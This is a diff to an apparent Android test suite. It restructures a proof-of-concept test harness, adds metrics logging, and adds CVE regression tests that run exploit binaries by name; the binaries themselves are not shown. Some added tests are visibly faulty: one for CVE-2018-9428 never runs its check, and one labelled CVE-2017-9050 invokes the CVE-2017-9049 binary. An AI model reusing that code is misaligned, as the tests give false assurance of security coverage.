+        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+        processPatternList.toArray(processPatternStringsWithSelf);
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+        runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 3 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. There are no security crashes that match the expected process pattern.
+     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param testConfig test configuration
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+        String[] inputFiles = null;
+        if(!testConfig.inputFiles.isEmpty()) {
+            inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+            pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+        }
+        runCommandLine("logcat -c", testConfig.device);
         try {
-            runPocAssertExitStatusNotVulnerable(binaryName, arguments, device, TIMEOUT_SEC);
+            runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+                    testConfig.device, TIMEOUT_SEC);
         } catch (IllegalArgumentException e) {
             /*
              * Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
@@ -535,16 +626,14 @@
              */
             CLog.w("Ignoring IllegalArgumentException: " + e);
         } finally {
-            removeResources(inputFiles, inputFilesDestination, device);
+            if (!testConfig.inputFiles.isEmpty()) {
+                removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+            }
         }
-        List<String> processPatternList = new ArrayList<>();
-        if (processPatternStrings != null) {
-            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        if (testConfig.config == null) {
+            testConfig.config = new CrashUtils.Config();
         }
-        processPatternList.add(binaryName);
-        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
-        processPatternList.toArray(processPatternStringsWithSelf);
-        assertNoCrashes(device, processPatternStringsWithSelf);
+        assertNoCrashes(testConfig.device, testConfig.config);
     }
 
     /**
@@ -572,6 +661,12 @@
         JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
         JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
 
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("security_crashes", securityCrashes.toString(),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
         if (securityCrashes.length() == 0) {
             return; // no security crashes detected
         }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0df41b1..ec89b1672 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -16,6 +16,13 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -24,10 +31,14 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.ddmlib.Log;
 
+import org.junit.rules.TestName;
+import org.junit.Rule;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
+import java.util.Map;
+import java.util.HashMap;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
 import java.util.concurrent.Callable;
@@ -50,6 +61,12 @@
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
+    @Rule public TestName testName = new TestName();
+
+    private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+    private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+    private static Map<ITestDevice, String> sTestName = new HashMap<>();
+
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
@@ -62,6 +79,9 @@
         //     Specifically time when app framework starts
 
         oomCatcher.start();
+        sBuildInfo.put(getDevice(), getBuild());
+        sAbi.put(getDevice(), getAbi());
+        sTestName.put(getDevice(), testName.getMethodName());
     }
 
     /**
@@ -103,6 +123,18 @@
         }
     }
 
+    public static IBuildInfo getBuildInfo(ITestDevice device) {
+        return sBuildInfo.get(device);
+    }
+
+    public static IAbi getAbi(ITestDevice device) {
+        return sAbi.get(device);
+    }
+
+    public static String getTestName(ITestDevice device) {
+        return sTestName.get(device);
+    }
+
     // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
     // b/123237827
     @Deprecated
@@ -190,7 +222,39 @@
      * Check if a driver is present on a machine.
      */
     protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
-        return AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+        boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+        MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+        reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        return containsDriver;
+    }
+
+    protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+        IBuildInfo buildInfo = getBuildInfo(device);
+        IAbi abi = getAbi(device);
+        String testName = getTestName(device);
+
+        StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+        int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+        String className = stacktraces[stackDepth].getClassName();
+        String methodName = stacktraces[stackDepth].getMethodName();
+        String classMethodName = String.format("%s#%s", className, methodName);
+
+        // The stream name must be snake_case or else json formatting breaks
+        String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+        MetricsReportLog reportLog = new MetricsReportLog(
+            buildInfo,
+            abi.getName(),
+            classMethodName,
+            "CtsSecurityBulletinHostTestCases",
+            streamName,
+            true);
+        reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+        return reportLog;
     }
 
     private long getDeviceUptime() throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index a43163a..f62bc8f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -18,6 +18,7 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
 
 import android.platform.test.annotations.SecurityTest;
 import org.junit.Test;
@@ -25,6 +26,9 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import static org.junit.Assert.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class TestMedia extends SecurityTestCase {
@@ -41,6 +45,117 @@
      ******************************************************************************/
 
     /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-07")
+    @Test
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+    }
+
+    /**
+     * b/64340921
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_0837() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/62151041 - Has 4 CVEs filed together
+     */
+    /** 1. CVE-2017-9047
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9047";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 2. CVE-2017-9048
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9048";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 3. CVE-2017-9049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 4. CVE-2017-9050
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/23247055
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2015-10")
+    @Test
+    public void testPocCVE_2015_3873() throws Exception {
+        String inputFiles[] = {"cve_2015_3873.mp4"};
+        String binaryName = "CVE-2015-3873";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/62948670
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
@@ -121,6 +236,24 @@
     }
 
     /**
+     * b/65540999
+     * Vulnerability Behaviour: Assert failure
+     **/
+    @SecurityTest(minPatchLevel = "2017-11")
+    @Test
+    public void testPocCVE_2017_0847() throws Exception {
+        String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+        if (cmdOut.length() > 0) {
+            String[] segment = cmdOut.split("\\s+");
+            if (segment.length > 1) {
+                if (segment[1].trim().equals("0")) {
+                    Assert.fail("mediametrics has root group id");
+                }
+            }
+        }
+    }
+
+    /**
      * b/112005441
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
@@ -145,6 +278,21 @@
      * existing test methods
      ******************************************************************************/
 
+    /**
+     * b/112891564
+     * Vulnerability Behaviour: SIGSEGV in self (Android P),
+     *                          SIGABRT in self (Android Q onward)
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    @Test
+    public void testPocCVE_2018_9537() throws Exception {
+        String binaryName = "CVE-2018-9537";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
 
     /******************************************************************************
      * To prevent merge conflicts, add tests for Q below this comment, before any
@@ -152,6 +300,55 @@
      ******************************************************************************/
 
     /**
+     * b/120426980
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+        public void testPocCVE_2019_9362() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-9362";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/112661742
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9308() throws Exception {
+        String inputFiles[] = {"cve_2019_9308.mp4"};
+        String binaryName = "CVE-2019-9308";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/112662995
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9357() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-9357";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/109891727
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 3087fe1..f61d887 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -1173,6 +1173,22 @@
                 .contains("AVB footer verification failed");
     }
 
+    /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        final int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        // Non-priv apps should not be able to view contents of app-staging directory
+        final File appStagingDir = new File("/data/app-staging");
+        assertThat(appStagingDir.exists()).isTrue();
+        assertThat(appStagingDir.listFiles()).isNull();
+        // Non-owner user should not be able to access sub-dirs of app-staging directory
+        final File appStagingSubDir = new File("/data/app-staging/session_" + sessionId);
+        assertThat(appStagingSubDir.exists()).isFalse();
+        assertThat(appStagingDir.listFiles()).isNull();
+    }
+
     private static long getInstalledVersion(String packageName) {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         PackageManager pm = context.getPackageManager();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 41e410d..209cb6a 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -246,6 +246,7 @@
     @Test
     // Don't mark as @LargeTest since we want at least one test to install apex during pre-submit.
     public void testInstallStagedApexAndApk() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
@@ -660,6 +661,14 @@
     }
 
     /**
+     * Test non-priv apps cannot access /data/app-staging folder contents
+     */
+    @Test
+    public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+        runPhase("testAppStagingDirCannotBeReadByNonPrivApps");
+    }
+
+    /**
      * Store the component name of the default launcher. This value will be used to reset the
      * default launcher to its correct component upon test completion.
      */
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
deleted file mode 100644
index dccd5be..0000000
--- a/hostsidetests/statsd/Android.bp
+++ /dev/null
@@ -1,45 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
-    name: "CtsStatsdHostTestCases",
-
-    srcs: ["src/**/*.java"],
-
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts",
-    ],
-
-    libs: [
-        "compatibility-host-util",
-        "cts-tradefed",
-        "host-libprotobuf-java-full",
-        "platformprotos",
-        "tradefed",
-        "truth-prebuilt",
-    ],
-    static_libs: [
-        "core_cts_test_resources",
-        "perfetto_config-full",
-    ],
-    data: [
-        "**/*.pbtxt",
-        ":CtsStatsdApp",
-        ":CtsStatsdEmptyApp",
-        ":CtsStatsdEmptySplitApp",
-    ],
-}
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
deleted file mode 100644
index 451ad73..0000000
--- a/hostsidetests/statsd/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Statsd host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="statsd" />
-    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsStatsdHostTestCases.jar" />
-    </test>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
-    </object>
-</configuration>
diff --git a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
deleted file mode 100644
index 4bad614..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
+++ /dev/null
@@ -1,24 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 98
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
deleted file mode 100644
index 4f13941..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
+++ /dev/null
@@ -1,36 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 100
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 100
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
deleted file mode 100644
index 87afb2d..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
+++ /dev/null
@@ -1,40 +0,0 @@
-id: 8835981461554930288
-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 99
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 99
-    field_value_matcher: {
-      eq_int: 1
-      field: 4
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/OWNERS b/hostsidetests/statsd/OWNERS
deleted file mode 100644
index 5e51cc4..0000000
--- a/hostsidetests/statsd/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 366902
-jeffreyhuang@google.com
-muhammadq@google.com
-singhtejinder@google.com
-tsaichristine@google.com
-yaochen@google.com
-yro@google.com
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
deleted file mode 100644
index 6655599..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
+++ /dev/null
@@ -1,70 +0,0 @@
-# DURATION_PROCESS_STATE_IN_CACHED_EMPTY_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -7871805656933174442
-  what: -4194528603977557137
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN CACHED_EMPTY
-atom_matcher {
-  id: -2354884036751182872
-  combination {
-    operation: NOT
-    matcher: -7794766650955623092
-  }
-}
-# PROC_STATE IN CACHED_EMPTY
-atom_matcher {
-  id: -7794766650955623092
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1018
-    }
-  }
-}
-predicate {
-  id: -4194528603977557137
-  simple_predicate {
-    start: -7794766650955623092
-    stop: -2354884036751182872
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
deleted file mode 100644
index 7f071e3..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
+++ /dev/null
@@ -1,45 +0,0 @@
-# VALUE_MAX_PSS_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-value_metric {
-  id: 1867856787681329178
-  what: -3480158308153459853
-  value_field {
-    field: 18
-    child {
-      field: 4
-    }
-  }
-  dimensions_in_what {
-    field: 18
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 9
-    }
-  }
-  bucket: ONE_MINUTE
-  aggregation_type: MAX
-}
-# PROCESS_MEMORY_STAT_REPORTED
-atom_matcher {
-  id: -3480158308153459853
-  simple_atom_matcher {
-    atom_id: 18
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
deleted file mode 100644
index e388d54..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
+++ /dev/null
@@ -1,91 +0,0 @@
-# DURATION_PROCESS_STATE_IN_TOP_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -1365360216258753370
-  what: -8800411078553365796
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN TOP
-atom_matcher {
-  id: -7829668247086356765
-  combination {
-    operation: NOT
-    matcher: -2987742411590785849
-  }
-}
-# PROCESS_STATE TOP
-atom_matcher {
-  id: 509484152027467470
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1002
